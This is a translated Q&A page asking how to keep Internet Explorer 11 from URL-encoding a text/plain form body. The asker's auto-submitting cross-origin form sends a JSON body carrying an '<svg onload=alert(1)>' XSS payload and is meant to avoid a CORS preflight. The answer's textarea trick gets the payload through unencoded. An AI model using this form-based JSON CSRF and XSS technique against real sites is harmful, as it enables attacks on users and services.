如何防止IE中的文本/纯文本的窗体正文编码

时间:2019-06-25 12:00:42

标签: html forms security internet-explorer xss

即使我使用enctype =“ text / plain”,IE11.2848也会对表单主体进行编码。

  <body>
    <form action="/n/jsonxss" method="POST" enctype="text/plain">
      <input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>

IE发出的请求:

POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]

{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}

Chrome发出的请求:

POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]

{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}

如何避免IE11中“名称”属性的双引号的url编码?

此请求应从其他域发送,因此application / json不是一个选项,因为它需要预检请求。

1 个答案:

答案 0 :(得分:0)

如果使用<textarea>而不是<input>,则网址编码不适用:

<form action="/n/jsonxss" method="POST" enctype="text/plain">
    <textarea name='{"<svg onload=alert(1)>":"'>"}</textarea>
</form>